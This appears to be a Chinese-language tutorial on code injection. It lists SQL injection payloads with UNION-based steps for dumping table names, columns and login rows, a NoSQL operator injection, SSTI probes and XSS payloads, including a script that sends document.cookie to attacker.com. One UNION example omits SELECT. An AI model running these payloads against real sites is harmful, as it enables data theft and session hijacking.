Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

代码注入

代码注入攻击(Code Injection)是指攻击者通过将恶意代码注入到目标系统中执行的行为。这些恶意代码可以用于修改、破坏或窃取系统数据,甚至完全控制目标系统。代码注入攻击(Code Injection)利用了系统在处理输入数据时的弱点,经过精心设计的恶意代码会被误以为是合法的指令而被系统执行,从而导致安全漏洞。

以下是常见的注入类型:

注入类型 注入目标
SQL 注入 数据库查询语句
命令注入 操作系统命令
脚本注入 / XSS 网页脚本(JS)
模板注入(SSTI) 服务器模板语法
LDAP 注入 LDAP 查询语句
XML 注入(XXE) XML 实体/结构

基本上所有的代码注入的漏洞都是由于没有对用户的输入进行足够细致的过滤。

SQL Injection

漏洞

1
2
3
4
5
6
db = sqlite3.connect(":memory:", isolation_level=None)
load_internet(db)
cur = db.cursor()

cur.execute("SELECT * FROM internet_index WHERE title LIKE '%{}%'".format(q))
#将未过滤的输入直接拼接进SQL查询语句

注入

常用的测试漏洞的Payload:

1
2
3
4
5
6
7
8
9
10
11
' OR 1=1 --

' OR 1=1 -- -

' OR 1=1 #

' OR '1'='1 --

' OR 1=1; #

' OR username='admin' --

(在 MariaDB / MySQL 中,# 是单行注释符,而不是--。)

确认漏洞确实存在并且确定了具体注入格式了之后便可以开始后续的步骤。

而读取其他表格前我们需要先确定当前表格的字段数(一共有多少列),可以通过Union来尝试:

1
2
3
4
5
' UNION SELECT 1 -- 
' UNION SELECT 1,2 --
' UNION SELECT 1,2,3 --
' UNION SELECT 1,2,3,4 --
...

失败的情况一般会返回类似于

Error: The used SELECT statements have a different number of columns

的报错。(或者就干脆什么都不显示,抑或是提示失败。)这个方法同时可以确定当前正常情况的返回结果为当前表格的哪个字段。

确定字段数(表格的列数)了之后便可以:

1. 确认所有表格名称

1
' UNION SELECT null, table_name, null, null FROM information_schema.tables WHERE table_schema=database() -- 

null的数量以及table_name的位置取决于当前表格的字段数(一共有多少列)以及返回结果具体为哪个字段(列)。

假设当前表格叫做为logins

2. 确认某个表格的所有列名(字段名)

1
2
3
' UNION SELECT 1, GROUP_CONCAT(column_name SEPARATOR ', '), null, null FROM information_schema.columns WHERE table_name='logins' -- 

' UNION SELECT 1, column_name, null, null FROM information_schema.columns WHERE table_name='logins' --

如果不成功则可以一列一列确定:

1
2
3
4
5
6
7
8
9
' UNION SELECT 1, column_name, null, null FROM information_schema.columns WHERE table_name='logins' LIMIT 0,1 -- 

' UNION SELECT 1, column_name, null, null FROM information_schema.columns WHERE table_name='logins' LIMIT 1,1 --

' UNION SELECT 1, column_name, null, null FROM information_schema.columns WHERE table_name='logins' LIMIT 2,1 --

' UNION SELECT 1, column_name, null, null FROM information_schema.columns WHERE table_name='logins' LIMIT 3,1 --

...

3. 确认某个表格所有列的内容

假设现在有4列内容,为a,b,c,d,则直接用Union即可:

1
' UNION a, b, c, d FROM logins -- 

如果失败则也可以一项一项确定某一列的内容:

1
2
3
4
5
6
' UNION SELECT null, username, null, null FROM logins LIMIT 0,1 -- 
' UNION SELECT null, username, null, null FROM logins LIMIT 1,1 --
' UNION SELECT null, username, null, null FROM logins LIMIT 2,1 --
' UNION SELECT null, username, null, null FROM logins LIMIT 3,1 --

...

MangoDB

1
2
3
4
{
"email": {"$ne": None},
"password": {"$ne": None}
}

模板注入 Server-Side Template Injection(SSTI)

服务器端模板注入(Server-side Template Injection,简称SSTI)是指攻击者能够利用模板引擎的原生语法,将恶意代码注入到模板中,而该模板随后会在服务器端被执行。

模板引擎的作用是通过将固定的模板与动态数据结合,来生成网页。当用户输入被直接拼接到模板中(而不是作为数据安全地传入)时,就可能发生服务器端模板注入攻击。这样一来,攻击者可以注入任意的模板指令,从而操控模板引擎,往往最终能完全控制服务器。

Jinja2

漏洞

1
<p class="nes-text is-primary warrior-name">{warrior_name}</p>

(大括号里的内容为未过滤的输入)

注入

1
{{ 7*7 }}

Mako

漏洞

1
2
3
4
5
6
7
8
from mako.template import Template

def generate_render(converted_fonts):
result = '''
<tr><td>{3}</td></tr>
'''.format(*converted_fonts)

return Template(result).render()

(大括号里的内容为未过滤的输入)

注入

1
${7*7}

Pug

XSS

漏洞

1
<p>You requested help in the {{ln|safe}} language!</p>

|safe 会直接放行我们的任意输入。

注入

测试Payload:

1
2
3
4
5
6
7
8
9
<script>alert(1)</script>

<img src=x onerror=alert(1)>

<svg onload=alert(1)>

<video><source onerror=alert(1)></video>

<iframe onload=alert(1)>

普通的xss攻击模板

1
<script>fetch("http://attacker.com?cookie=" + document.cookie); </script>

可以在

https://requestbin.kanbanbox.com/

创建一个临时的RequestBin。